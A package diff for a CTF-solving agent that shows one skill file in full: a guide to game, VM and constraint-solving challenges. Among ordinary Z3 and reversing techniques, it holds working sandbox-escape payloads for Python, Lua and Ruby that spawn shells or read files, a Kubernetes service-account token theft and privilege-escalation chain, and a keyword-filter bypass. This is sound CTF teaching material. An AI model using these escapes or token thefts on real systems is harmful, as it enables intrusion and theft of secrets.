ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,529 @@
1
+ # CTF Misc - Games, VMs & Constraint Solving (Part 1)
2
+
3
+ ## Table of Contents
4
+ - [WASM Game Exploitation via Patching](#wasm-game-exploitation-via-patching)
5
+ - [Roblox Place File Reversing](#roblox-place-file-reversing)
6
+ - [PyInstaller Extraction](#pyinstaller-extraction)
7
+ - [Opcode Remapping](#opcode-remapping)
8
+ - [Marshal Code Analysis](#marshal-code-analysis)
9
+ - [Bytecode Inspection Tips](#bytecode-inspection-tips)
10
+ - [Python Environment RCE](#python-environment-rce)
11
+ - [Z3 Constraint Solving](#z3-constraint-solving)
12
+ - [YARA Rules with Z3](#yara-rules-with-z3)
13
+ - [Type Systems as Constraints](#type-systems-as-constraints)
14
+ - [Z3 SAT Solving for Boolean Logic Gate Networks (BSidesSF 2026)](#z3-sat-solving-for-boolean-logic-gate-networks-bsidessf-2026)
15
+ - [Kubernetes RBAC Bypass](#kubernetes-rbac-bypass)
16
+ - [K8s Privilege Escalation Checklist](#k8s-privilege-escalation-checklist)
17
+ - [Floating-Point Precision Exploitation](#floating-point-precision-exploitation)
18
+ - [Finding Exploitable Values](#finding-exploitable-values)
19
+ - [Exploitation Strategy](#exploitation-strategy)
20
+ - [Why It Works](#why-it-works)
21
+ - [Red Flags in Challenges](#red-flags-in-challenges)
22
+ - [Quick Test Script](#quick-test-script)
23
+ - [Custom Assembly Language Sandbox Escape (EHAX 2026)](#custom-assembly-language-sandbox-escape-ehax-2026)
24
+ - [Lua Sandbox Escape via Function Name Injection (CSAW CTF 2016)](#lua-sandbox-escape-via-function-name-injection-csaw-ctf-2016)
25
+ - [Ruby Sandbox Escape via TracePoint.trace (HITCON 2017)](#ruby-sandbox-escape-via-tracepointtrace-hitcon-2017)
26
+ - [Pixel-Sampling BFS Maze Auto-Solver (HackCon 2018)](#pixel-sampling-bfs-maze-auto-solver-hackcon-2018)
27
+ - [References](#references)
28
+
29
+ ---
30
+
31
+ ## WASM Game Exploitation via Patching
32
+
33
+ **Pattern (Tac Tic Toe, Pragyan 2026):** Game with unbeatable AI in WebAssembly. Proof/verification system validates moves but doesn't check optimality.
34
+
35
+ **Key insight:** If the proof generation depends only on move positions and seed (not on whether moves were optimal), patching the WASM to make the AI play badly produces a beatable game with valid proofs.
36
+
37
+ **Patching workflow:**
38
+ ```bash
39
+ # 1. Convert WASM binary to text format
40
+ wasm2wat main.wasm -o main.wat
41
+
42
+ # 2. Find the minimax function (look for bestScore initialization)
43
+ # Change initial bestScore from -1000 to 1000
44
+ # Flip comparison: i64.lt_s -> i64.gt_s (selects worst moves instead of best)
45
+
46
+ # 3. Recompile
47
+ wat2wasm main.wat -o main_patched.wasm
48
+ ```
49
+
50
+ **Exploitation:**
51
+ ```javascript
52
+ const go = new Go();
53
+ const result = await WebAssembly.instantiate(
54
+ fs.readFileSync("main_patched.wasm"), go.importObject
55
+ );
56
+ go.run(result.instance);
57
+
58
+ InitGame(proof_seed);
59
+ // Play winning moves against weakened AI
60
+ for (const m of [0, 3, 6]) {
61
+ PlayerMove(m);
62
+ }
63
+ const data = GetWinData();
64
+ // Submit data.moves and data.proof to server -> valid!
65
+ ```
66
+
67
+ **General lesson:** In client-side game challenges, always check if the verification/proof system is independent of move quality. If so, patch the game logic rather than trying to beat it.
68
+
69
+ ---
70
+
71
+ ## Roblox Place File Reversing
72
+
73
+ **Pattern (MazeRunna, 0xFun 2026):** Roblox game where the flag is hidden in an older published version. Latest version contains a decoy flag.
74
+
75
+ **Step 1: Identify target IDs from game page HTML:**
76
+ ```python
77
+ placeId = 75864087736017
78
+ universeId = 8920357208
79
+ ```
80
+
81
+ **Step 2: Pull place versions via Roblox Asset Delivery API:**
82
+ ```bash
83
+ # Requires .ROBLOSECURITY cookie (rotate after CTF!)
84
+ for v in 1 2 3; do
85
+ curl -H "Cookie: .ROBLOSECURITY=..." \
86
+ "https://assetdelivery.roblox.com/v2/assetId/${PLACE_ID}/version/$v" \
87
+ -o place_v${v}.rbxlbin
88
+ done
89
+ ```
90
+
91
+ **Step 3: Parse .rbxlbin binary format:**
92
+ The Roblox binary place format contains typed chunks:
93
+ - **INST** — defines class buckets (Script, Part, etc.) and referent IDs
94
+ - **PROP** — per-instance property values (including `Source` for scripts)
95
+ - **PRNT** — parent→child relationships forming the object tree
96
+
97
+ ```python
98
+ # Pseudocode for extracting scripts
99
+ for chunk in parse_chunks(data):
100
+ if chunk.type == 'PROP' and chunk.field == 'Source':
101
+ for referent, source in chunk.entries:
102
+ if source.strip():
103
+ print(f"[{get_path(referent)}] {source}")
104
+ ```
105
+
106
+ **Step 4: Diff script sources across versions.**
107
+ - v3 (latest): `Workspace/Stand/Color/Script` → fake flag
108
+ - v2 (older): same path → real flag
109
+
110
+ **Key lessons:**
111
+ - Always check **version history** — latest version may be a decoy
112
+ - Roblox Asset Delivery API exposes all published versions
113
+ - Rotate `.ROBLOSECURITY` cookie immediately after use (it's a full session token)
114
+
115
+ ---
116
+
117
+ ## PyInstaller Extraction
118
+
119
+ ```bash
120
+ python pyinstxtractor.py packed.exe
121
+ # Look in packed.exe_extracted/
122
+ ```
123
+
124
+ ### Opcode Remapping
125
+ If decompiler fails with opcode errors:
126
+ 1. Find modified `opcode.pyc`
127
+ 2. Build mapping to original values
128
+ 3. Patch target .pyc
129
+ 4. Decompile normally
130
+
131
+ ---
132
+
133
+ ## Marshal Code Analysis
134
+
135
+ ```python
136
+ import marshal, dis
137
+ with open('file.bin', 'rb') as f:
138
+ code = marshal.load(f)
139
+ dis.dis(code)
140
+ ```
141
+
142
+ ### Bytecode Inspection Tips
143
+ - `co_consts` contains literal values (strings, numbers)
144
+ - `co_names` contains referenced names (function names, variables)
145
+ - `co_code` is the raw bytecode
146
+ - Use `dis.Bytecode(code)` for instruction-level iteration
147
+
148
+ ---
149
+
150
+ ## Python Environment RCE
151
+
152
+ ```bash
153
+ PYTHONWARNINGS=ignore::antigravity.Foo::0
154
+ BROWSER="/bin/sh -c 'cat /flag' %s"
155
+ ```
156
+
157
+ **Other dangerous environment variables:**
158
+ - `PYTHONSTARTUP` - Script executed on interactive startup
159
+ - `PYTHONPATH` - Inject modules via path hijacking
160
+ - `PYTHONINSPECT` - Drop to interactive shell after script
161
+
162
+ **How PYTHONWARNINGS works:** Setting `PYTHONWARNINGS=ignore::antigravity.Foo::0` triggers `import antigravity`, which opens a URL via `$BROWSER`. Control `$BROWSER` to execute arbitrary commands.
163
+
164
+ ---
165
+
166
+ ## Z3 Constraint Solving
167
+
168
+ ```python
169
+ from z3 import *
170
+
171
+ flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
172
+ s = Solver()
173
+ s.add(flag[0] == ord('f')) # Known prefix
174
+ # Add constraints...
175
+ if s.check() == sat:
176
+ print(bytes([s.model()[f].as_long() for f in flag]))
177
+ ```
178
+
179
+ ### YARA Rules with Z3
180
+ ```python
181
+ from z3 import *
182
+
183
+ flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
184
+ s = Solver()
185
+
186
+ # Literal bytes
187
+ for i, byte in enumerate([0x66, 0x6C, 0x61, 0x67]):
188
+ s.add(flag[i] == byte)
189
+
190
+ # Character range
191
+ for i in range(4):
192
+ s.add(flag[i] >= ord('A'))
193
+ s.add(flag[i] <= ord('Z'))
194
+
195
+ if s.check() == sat:
196
+ m = s.model()
197
+ print(bytes([m[f].as_long() for f in flag]))
198
+ ```
199
+
200
+ ### Type Systems as Constraints
201
+ **OCaml GADTs / advanced types encode constraints.**
202
+
203
+ Don't compile - extract constraints with regex and solve with Z3:
204
+ ```python
205
+ import re
206
+ from z3 import *
207
+
208
+ matches = re.findall(r"\(\s*([^)]+)\s*\)\s*(\w+)_t", source)
209
+ # Convert to Z3 constraints and solve
210
+ ```
211
+
212
+ ### Z3 SAT Solving for Boolean Logic Gate Networks (BSidesSF 2026)
213
+
214
+ **Pattern (flag-factory-pro):** A "product key" validation system is implemented as a network of 250 boolean logic gates (AND, OR, XOR, NOT) connected by wires. Given 125 boolean input bits and the gate truth values (all gates must output True), find a valid assignment of input bits. This is a classic satisfiability (SAT) problem solvable with Z3.
215
+
216
+ ```python
217
+ from z3 import *
218
+ import base64
219
+
220
+ # Parse the gate network from challenge data
221
+ data = base64.b64decode(registration_request)
222
+ gates = parse_gates(data) # List of (gate_type, input_wires, output_wire)
223
+
224
+ # Create 125 boolean variables for input bits
225
+ inputs = [Bool(f"x_{i}") for i in range(125)]
226
+
227
+ # Map wire IDs to Z3 expressions
228
+ wires = {i: inputs[i] for i in range(125)}
229
+
230
+ solver = Solver()
231
+ for gate_type, in1, in2, out in gates:
232
+ w1 = wires[in1]
233
+ w2 = wires[in2] if in2 is not None else None
234
+
235
+ if gate_type == "AND":
236
+ wires[out] = And(w1, w2)
237
+ elif gate_type == "OR":
238
+ wires[out] = Or(w1, w2)
239
+ elif gate_type == "XOR":
240
+ wires[out] = Xor(w1, w2)
241
+ elif gate_type == "NOT":
242
+ wires[out] = Not(w1)
243
+
244
+ # All gate outputs must be True
245
+ solver.add(wires[out] == True)
246
+
247
+ if solver.check() == sat:
248
+ model = solver.model()
249
+ # Extract 125 bits, encode as base32 in 5-bit groups
250
+ bits = [1 if is_true(model[inputs[i]]) else 0 for i in range(125)]
251
+ # Convert to product key format
252
+ key = bits_to_base32(bits)
253
+ print(f"Product key: {key}")
254
+ ```
255
+
256
+ **Key insight:** Boolean logic gate networks are directly expressible as Z3 constraints. Each gate becomes one constraint (`And`, `Or`, `Xor`, `Not`), and the requirement that all outputs are True constrains the solution space. Even with 125 input variables and 250 gates, Z3 solves this in milliseconds. Any "keygen" or "product key" challenge with observable validation logic can be modeled this way.
257
+
258
+ **When to recognize:** Challenge involves product key validation, license key generation, circuit/gate diagrams, or registration code verification. If the validation logic is extractable (from binary, network capture, or provided spec), model it as a SAT/SMT problem. Z3 handles boolean, bitvector, integer, and real arithmetic constraints.
259
+
260
+ **References:** BSidesSF 2026 "flag-factory-pro"
261
+
262
+ ---
263
+
264
+ ## Kubernetes RBAC Bypass
265
+
266
+ **Pattern (CTFaaS, LACTF 2026):** Container deployer with claimed ServiceAccount isolation.
267
+
268
+ **Attack chain:**
269
+ 1. Deploy probe container that reads in-pod ServiceAccount token at `/var/run/secrets/kubernetes.io/serviceaccount/token`
270
+ 2. Verify token can impersonate deployer SA (common misconfiguration)
271
+ 3. Create pod with `hostPath` volume mounting `/` -> read node filesystem
272
+ 4. Extract kubeconfig (e.g., `/etc/rancher/k3s/k3s.yaml`)
273
+ 5. Use node credentials to access hidden namespaces and read secrets
274
+
275
+ ```bash
276
+ # From inside pod:
277
+ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
278
+ curl -k -H "Authorization: Bearer $TOKEN" \
279
+ https://kubernetes.default.svc/api/v1/namespaces/hidden/secrets/flag
280
+ ```
281
+
282
+ ### K8s Privilege Escalation Checklist
283
+ - Check RBAC: `kubectl auth can-i --list`
284
+ - Look for pod creation permissions (can create privileged pods)
285
+ - Check for hostPath volume mounts allowed in PSP/PSA
286
+ - Look for secrets in environment variables of other pods
287
+ - Check for service mesh sidecars leaking credentials
288
+
289
+ ---
290
+
291
+ ## Floating-Point Precision Exploitation
292
+
293
+ **Pattern (Spare Me Some Change):** Trading/economy games where large multipliers amplify tiny floating-point errors.
294
+
295
+ **Key insight:** When decimal values (0.01-0.99) are multiplied by large numbers (e.g., 1e15), floating-point representation errors create fractional remainders that can be exploited.
296
+
297
+ ### Finding Exploitable Values
298
+ ```python
299
+ mult = 1000000000000000 # 10^15
300
+
301
+ # Find values where multiplication creates useful fractional errors
302
+ for i in range(1, 100):
303
+ x = i / 100.0
304
+ result = x * mult
305
+ frac = result - int(result)
306
+ if frac > 0:
307
+ print(f'x={x}: {result} (fraction={frac})')
308
+
309
+ # Common values with positive fractions:
310
+ # 0.07 -> 70000000000000.0078125
311
+ # 0.14 -> 140000000000000.015625
312
+ # 0.27 -> 270000000000000.03125
313
+ # 0.56 -> 560000000000000.0625
314
+ ```
315
+
316
+ ### Exploitation Strategy
317
+ 1. **Identify the constraint**: Need `balance >= price` AND `inventory >= fee`
318
+ 2. **Find favorable FP error**: Value where `x * mult` has positive fraction
319
+ 3. **Key trick**: Sell the INTEGER part of inventory, keeping the fractional "free money"
320
+
321
+ **Example (time-travel trading game):**
322
+ ```text
323
+ Initial: balance=5.00, inventory=0.00, flag_price=5.00, fee=0.05
324
+ Multiplier: 1e15 (time travel)
325
+
326
+ # Buy 0.56, travel through time:
327
+ balance = (5.0 - 0.56) * 1e15 = 4439999999999999.5
328
+ inventory = 0.56 * 1e15 = 560000000000000.0625
329
+
330
+ # Sell exactly 560000000000000 (integer part):
331
+ balance = 4439999999999999.5 + 560000000000000 = 5000000000000000.0 (FP rounds!)
332
+ inventory = 560000000000000.0625 - 560000000000000 = 0.0625 > 0.05 fee
333
+
334
+ # Now: balance >= flag_price AND inventory >= fee
335
+ ```
336
+
337
+ ### Why It Works
338
+ - Float64 has ~15-16 significant digits precision
339
+ - `(5.0 - 0.56) * 1e15` loses precision -> rounds to exact 5e15 when added
340
+ - `0.56 * 1e15` keeps the 0.0625 fraction as "free inventory"
341
+ - The asymmetric rounding gives you slightly more total value than you started with
342
+
343
+ ### Red Flags in Challenges
344
+ - "Time travel amplifies everything" (large multipliers)
345
+ - Trading games with buy/sell + special actions
346
+ - Decimal currency with fees or thresholds
347
+ - "No decimals allowed" after certain operations (forces integer transactions)
348
+ - Starting values that seem impossible to win with normal math
349
+
350
+ ### Quick Test Script
351
+ ```python
352
+ def find_exploit(mult, balance_needed, inventory_needed):
353
+ """Find x where selling int(x*mult) gives balance>=needed with inv>=needed"""
354
+ for i in range(1, 500):
355
+ x = i / 100.0
356
+ if x >= 5.0: # Can't buy more than balance
357
+ break
358
+ inv_after = x * mult
359
+ bal_after = (5.0 - x) * mult
360
+
361
+ # Sell integer part of inventory
362
+ sell = int(inv_after)
363
+ final_bal = bal_after + sell
364
+ final_inv = inv_after - sell
365
+
366
+ if final_bal >= balance_needed and final_inv >= inventory_needed:
367
+ print(f'EXPLOIT: buy {x}, sell {sell}')
368
+ print(f' final_balance={final_bal}, final_inventory={final_inv}')
369
+ return x
370
+ return None
371
+
372
+ # Example usage:
373
+ find_exploit(1e15, 5e15, 0.05) # Returns 0.56
374
+ ```
375
+
376
+ ---
377
+
378
+ ## Custom Assembly Language Sandbox Escape (EHAX 2026)
379
+
380
+ **Pattern (Chusembly):** Web app with custom instruction set (LD, PUSH, PROP, CALL, IDX, etc.) running on a Python backend. Safety check only blocks the word "flag" in source code.
381
+
382
+ **Key insight:** `PROP` (property access) and `CALL` (function invocation) instructions allow traversing Python's MRO chain from any object to achieve RCE, similar to Jinja2 SSTI.
383
+
384
+ **Exploit chain:**
385
+ ```text
386
+ LD 0x48656c6c6f A # Load "Hello" string into register A
387
+ PROP __class__ A # str → <class 'str'>
388
+ PROP __base__ E # str → <class 'object'> (E = result register)
389
+ PROP __subclasses__ E # object → bound method
390
+ CALL E # object.__subclasses__() → list of all classes
391
+ # Find os._wrap_close at index 138 (varies by Python version)
392
+ IDX 138 E # subclasses[138] = os._wrap_close
393
+ PROP __init__ E # get __init__ method
394
+ PROP __globals__ E # access function globals
395
+ # Use __getitem__ to access builtins without triggering keyword filter
396
+ PUSH 0x5f5f6275696c74696e735f5f # "__builtins__" as hex
397
+ CALL __getitem__ E # globals["__builtins__"]
398
+ # Bypass "flag" keyword filter with hex encoding
399
+ PUSH 0x666c61672e747874 # "flag.txt" as hex
400
+ CALL open E # open("flag.txt")
401
+ CALL read E # read file contents
402
+ STDOUT E # print flag
403
+ ```
404
+
405
+ **Filter bypass techniques:**
406
+ - **Hex-encoded strings:** `0x666c61672e747874` → `"flag.txt"` bypasses keyword filters
407
+ - **os.popen for shell:** If file path is unknown, use `os.popen('ls /').read()` then `os.popen('cat /flag*').read()`
408
+ - **Subclass index discovery:** Iterate through `__subclasses__()` list to find useful classes (os._wrap_close, subprocess.Popen, etc.)
409
+
410
+ **General approach for custom language challenges:**
411
+ 1. **Read the docs:** Check `/docs`, `/help`, `/api` endpoints for instruction reference
412
+ 2. **Find the result register:** Many custom languages have a special register for return values
413
+ 3. **Test string handling:** Try hex-encoded strings to bypass keyword filters
414
+ 4. **Chain Python MRO:** Any Python string object → `__class__.__base__.__subclasses__()` → RCE
415
+ 5. **Error messages leak info:** Intentional errors reveal Python internals and available classes
416
+
417
+ ---
418
+
419
+ ## Lua Sandbox Escape via Function Name Injection (CSAW CTF 2016)
420
+
421
+ Lua sandboxes that filter `load()` and `os.execute()` by name can be bypassed if function references exist in other accessible tables or through string concatenation of function names.
422
+
423
+ ```lua
424
+ -- Common Lua sandbox restrictions:
425
+ -- os.execute blocked, load blocked, require blocked
426
+
427
+ -- Bypass 1: If string.find is available, use it to test for allowed functions
428
+ -- then access via table indexing
429
+ local f = os["execute"] -- table index bypass if only os.execute() call is blocked
430
+ f("cat /flag")
431
+
432
+ -- Bypass 2: Use loadstring (alias for load in Lua 5.1)
433
+ loadstring("os.execute('cat /flag')")()
434
+
435
+ -- Bypass 3: Via debug library (if available)
436
+ debug.getregistry() -- access internal Lua registry
437
+
438
+ -- Bypass 4: Bytecode execution (compile outside, load bytecode)
439
+ -- Compile payload: luac -o payload.luac payload.lua
440
+ -- Load bytecode in sandbox (may bypass source-level filters)
441
+
442
+ -- Bypass 5: Concatenation to build function names
443
+ local cmd = "exe" .. "cute"
444
+ os[cmd]("cat /flag")
445
+
446
+ -- Bypass 6: Via io library
447
+ io.popen("cat /flag"):read("*a")
448
+ ```
449
+
450
+ **Key insight:** Lua sandboxes typically filter specific function *calls* but not *table lookups*. Access blocked functions through table indexing (`os["execute"]`), string concatenation for function names, or alternate I/O libraries (`io.popen`). Also check if `loadstring` (Lua 5.1 alias for `load`) is unblocked.
451
+
452
+ ---
453
+
454
+ ## Ruby Sandbox Escape via TracePoint.trace (HITCON 2017)
455
+
456
+ **Pattern:** Ruby sandbox uses `set_trace_func` to monitor execution and block dangerous calls. Bypass: register a `TracePoint` hook for `:c_call` events. TracePoint fires at the C-extension level, before Ruby-level `set_trace_func` hooks activate.
457
+
458
+ ```ruby
459
+ TracePoint.trace(:c_call) do |tp|
460
+ system('sh')
461
+ end
462
+ ```
463
+
464
+ The hook fires on the next C-level call (e.g., `puts`, any method call), executing `system('sh')` before the sandbox monitor can intercept it.
465
+
466
+ **Why it works:** `TracePoint` (introduced in Ruby 2.0) operates at a lower level than `set_trace_func`. `:c_call` hooks fire when any C-implemented method is invoked, which happens before the Ruby event system that `set_trace_func` relies on processes the event.
467
+
468
+ **Key insight:** `TracePoint` operates at a lower level than `set_trace_func` in Ruby — C-call hooks fire before Ruby-level event hooks, allowing sandbox escape. Any subsequent C-method call (even benign ones) triggers the payload.
469
+
470
+ ---
471
+
472
+ ## Pixel-Sampling BFS Maze Auto-Solver (HackCon 2018)
473
+
474
+ **Pattern:** Challenge streams a PNG of a grid maze and expects the player to type WASD moves within a tight time limit. Manual solving is impossible at scale, but the maze is a uniform grid — each cell is exactly `N` pixels wide and each wall is 1 cell wide.
475
+
476
+ **Solver pipeline:**
477
+ ```python
478
+ import requests, numpy as np
479
+ from collections import deque
480
+ from PIL import Image
481
+ from io import BytesIO
482
+
483
+ CELL = 10 # measured cell width in pixels
484
+
485
+ def fetch_grid(url):
486
+ img = np.array(Image.open(BytesIO(requests.get(url).content)).convert('L'))
487
+ rows, cols = img.shape[0] // CELL, img.shape[1] // CELL
488
+ # 1 = wall (dark pixel at cell center), 0 = open
489
+ grid = [[1 if img[r*CELL + CELL//2, c*CELL + CELL//2] < 128 else 0
490
+ for c in range(cols)] for r in range(rows)]
491
+ return grid
492
+
493
+ def bfs(grid, start, goal):
494
+ dirs = [(-1, 0, 'W'), (1, 0, 'S'), (0, -1, 'A'), (0, 1, 'D')]
495
+ q = deque([(start, '')])
496
+ seen = {start}
497
+ while q:
498
+ (r, c), path = q.popleft()
499
+ if (r, c) == goal:
500
+ return path
501
+ for dr, dc, m in dirs:
502
+ nr, nc = r + dr, c + dc
503
+ if (0 <= nr < len(grid) and 0 <= nc < len(grid[0])
504
+ and grid[nr][nc] == 0 and (nr, nc) not in seen):
505
+ seen.add((nr, nc))
506
+ q.append(((nr, nc), path + m))
507
+ ```
508
+
509
+ Measure `CELL` once by inspecting the first row of the image; then every maze in the same challenge series decodes to a boolean grid and BFS yields the move sequence in milliseconds.
510
+
511
+ **Key insight:** Any image-driven CTF game can be turned into a graph problem by sampling one pixel per logical cell — pick the cell center, not the border, so wall thickness doesn't poison the result. Build the grid, BFS, and output the move string. The same pattern works for color-coded mazes (`img[r*CELL+CELL//2, c*CELL+CELL//2]` with RGB comparison) and for 3D isometric grids after an affine rectification.
512
+
513
+ **References:** HackCon 2018 — writeup 10764
514
+
515
+ ---
516
+
517
+ ## References
518
+ - Pragyan 2026 "Tac Tic Toe": WASM minimax patching
519
+ - LACTF 2026 "CTFaaS": K8s RBAC bypass via hostPath
520
+ - 0xL4ugh CTF: PyInstaller + opcode remapping
521
